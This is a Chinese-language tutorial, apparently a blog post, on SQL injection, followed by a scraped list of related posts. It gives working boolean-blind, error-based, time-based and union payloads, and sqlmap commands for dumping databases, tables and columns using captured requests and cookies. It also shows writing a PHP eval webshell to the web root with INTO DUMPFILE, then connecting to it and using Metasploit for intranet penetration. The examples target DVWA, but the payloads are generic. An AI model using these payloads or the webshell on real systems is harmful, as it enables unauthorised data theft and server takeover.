SQL注入

Boolean注入攻击-布尔盲注

1' and length(database())>1 -- qwe
1’ and length(database())>10 #
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

1’ and ascii(substr(database(),1,1))>88 #
1' and ascii(substr(database(),1,1))>1

报错注入攻击

and extractvalue(1, concat(0x7e,(select @@version),0x7e))

and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

时间注入攻击-时间盲注

if (length(database())>1,sleep(5),1)

时间盲注配合着  if(A,B,C)  语句结合使用,含义是:如果A是 true,则返回B(也就是执行B),否则返回C(执行C)

这个是百度百科的答案

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单点来说就是你提交的参数被当做代码去执行,网站的搭建,离不开码农的“加班”,再好的代码也是人写的,总有逻辑上的漏洞,说远了,SQL注入就是利用代码的漏洞,在接受用户传参的值的时候没有进行限制,或者限制的严格程度不够留下了问题。

这样子的,在接受GET传参时,没有进行限制,传递的参数直接提交数据库,这里就是可以利用的一点,用单引号闭合前面的SQL语句,用union select 联合查询去接你要查询的东西,

输入1’ union select 1 – 报错

输入1’ union select 1,2 –成功

源代码肯定是看不到的,

找到正确的闭合规则,

如:

输入1’ and 1 = 2 –-  ,查询失败,返回结果为空

输入1’ and 1 = 1 – ,查询成功

所以需要去试,单引号闭合,双引号闭合,加括号闭合等等,这个适合GET传参,POST咋办?

没关系,复杂的学不来,直接拿前辈的成果SQLmap去跑就行了,直接用burp抓包,抓取你觉得有注入的点,打包成TXT,SQLmap可以下载的你的Windows,也可以用kali自带的,

(文笔不太好,想到哪里写到哪里,感觉kali应该也抽时间说一下)抓到的包就像这要的,这个我抓的是GET,POST也一样

用SQLmap去跑一下,SQLmap简单说一下

 sqlmap --version       查看sqlmap版本信息.

    -h            查看功能参数(常用的)

    -hh             查看所有的参数 (如果有中文包 就最好了)

    -v            显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.

Target(指定目标):

    -d            直接连接数据库侦听端口,类似于把自己当一个客户端来连接.

    -u               指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1

    -l            指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描

    -x            以xml的形式提交一个站点地图给sqlmap(表示不理解..)

    -m            如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描

    -r            把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体

    -g            利用谷歌搜索引擎搭配正则来过滤你想要的

    -c            加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描

sqlmap -r 你保存的文件名.txt    【如果知道注入点用-p “” 指定注入点,有的网页需要登录,用--cookie “”指定cookie值,这个值是你浏览器的cookieh值,咋看?谷歌的f12 ,火狐的开发者工具,找不到burp抓包,,,,有一些网站会检头部信息,--user-agent “” 指定user-agent   或者--random-agent 直接随机agent  ,,,,,--level  3 安全级别】

如:

爆出数据库
sqlmap -r a.txt --dbs --batch
–current-db是获取当前正在使用的数据库
指定数据库,爆表
sqlmap -r a.txt -D dvwa --tables --batch
指定表爆列
sqlmap -r a.txt -D dvwa -T information --columns --batch

这个有使用文档,有需要的我等下给个链接

以上用的是MySQL数据库

以前面试被问道过,Mysql5.0以上和Mysql5.0以下的版本中最大的区别是什么?

Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,

SQL注入写一句话木马,需要由2个前提,

1.确定有注入点,并可用

2.知道绝对路径

如:

然后用联合查询

select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'E:\php\phpstudy_pro\WWW\DVWA\vulnerabilities\sqli_blind\123.php';

用菜刀连接,KALI下MSF配合可以进行内网渗透

SQL注入SQLmap简单用法,和SQL注入写入一句话木马相关推荐

  1. sqlmap简单用法

    1)判断当前用户是否是dba python sqlmap.py -u "url" --is-dba -v 12)--users:列出数据库管理系统用户 python sqlmap. ...

  2. sqlmap写入一句话木马

    工具 靶机--metasploitable2 攻击机--kali 环境--Mutillidae 菜刀--蚁剑 主要参数 sqlmap参数:--file-read=RFILE Read a file f ...

  3. SQL SERVER自带调试工具SQL Server Profiler简单用法

    尽管用过sqlserver好几年,但之前还真不知道有这么一个好用的调试工具. SQL Server Profiler可以跟踪数据库的运行操作,可以筛选要跟踪的数据库.

  4. 两个sql交集_简单明了的sql基础语句

    一,数据库及表的增删改查 查看所有数据库:show databases; 切换到xxx库:use xxx; 查看库中所有的表:show tables; 查看表结构:desc 表名; 数据库创建:cre ...

  5. 【渗透工具】-SQL注入-SQLMap项目梳理

    文章目录 概述8个目录文件 详细说明4个重点目录 软件说明doc 插件库plugins 绕过脚本tamper data数据目录 使用说明 查看软件信息 和 General 基础用法 -h 1.Targ ...

  6. 【SQL注入-文件读写】文件的读取+写入:函数、使用方法

    目录 一.文件读取 1.1.读取函数: MySQL: 1.2.流程: 1.3.前提: 1.4.第一步:找路径: 方法一: 方法二: 方法三: 方法四: 方法五: 方法六: 方法七: 1.5.第二步:执 ...

  7. sql注入与一句话木马

    0x00 sql注入之一句话木马 首先介绍一下一句话木马: 一句话木马是一种基于 B/S结构的简短脚本,通过这个脚本,执行POST来的任意参数语句,可以提交任意内容,黑客借此进行SQL注入或拿到SHE ...

  8. 防注入php 留言板代码,简单的 php 防注入代码

    简明现代魔法 -> PHP服务器脚本 -> 简单的 php 防注入代码 简单的 php 防注入代码 2010-04-10 介绍两种方法吧,首先请把以下代码保存为safe.php放在网站根目 ...

  9. SQL语句中引号(')、quotedstr()、('')、format()在SQL语句中的用法

    总结一下SQL语句中引号(').quotedstr().('').format()在SQL语句中的用法总结一下SQL语句中引号(').quotedstr().('').format()在SQL语句中的 ...

  10. 总结一下SQL语句中引号()、quotedstr()、()、format()在SQL语句中的用法

    View Code 总结一下SQL语句中引号('').quotedstr().('''').format()在SQL语句中的用法以及SQL语句中日期格式的表示(#).('''')在Delphi中进行字 ...

最新文章

  1. 2017-2018 ACM-ICPC Asia East Continent League Final (ECL-Final) 题解(10 / 13)
  2. python获取用户输入中文_python中的用户输入
  3. 金立又推新机 欧新V908或近期发布 外观设计独到
  4. mysql5.6,基于GTID的主从同步与延迟复制
  5. 阿里云徐立:面向容器和 Serverless Computing 的存储创新
  6. JAVA通信编程(四)——UDP通讯
  7. sql中left join后用on还是where
  8. vue-cli 体验
  9. linux下通过phpize为php在不重新编译php情况下安装模块memcache
  10. android音频系统分析,详细分析智能手机Android系统硬件音频架构_ Android手机_Android手机开发_Android_课课家...
  11. unity Audio 基础知识二 Audio Mixer
  12. 痞子衡嵌入式:ARM Cortex-M内核那些事(3.2)- 安全模块看特性(M23/33/35P)
  13. CAD arx常用函数
  14. 什么是云服务和云服务端开发?
  15. 关闭、清除IBM小型机橙色告警灯方法
  16. ColorOS 13流畅吗?看OPPO在系统上做了哪些升级?
  17. 求两点之间最短路径-Dijkstra算法
  18. 关于ASP 文件类的使用
  19. 从码云git pull代码显示没权限
  20. 序列求和:问题描述 求1+2+3+...+n的值。 输入格式 输入包括一个整数n。 输出格式 输出一行,包括一个整数,表示1+2+3+...+n的值。

热门文章

  1. 宝塔面板强制绑定手机号码解决办法
  2. 微信小程序自定义组件中对properties的修改
  3. WORD插入多张图片并上下左右居中自动对齐操作;论文图片表格排版
  4. Python如何对XML 解析
  5. 打开其他软件时,老是弹出Xftp7安装的问题(msi报错)
  6. 快速入门机器学习——特征抽取
  7. android win7 共享网络打印机,win7设置局域网共享打印机
  8. Ant Design Vue表格序号递增问题
  9. 苹果笔记本怎么找文件夹_苹果Mac电脑快速查找文件的两种方法
  10. APS高级计划排程系统的基本原理和排程步骤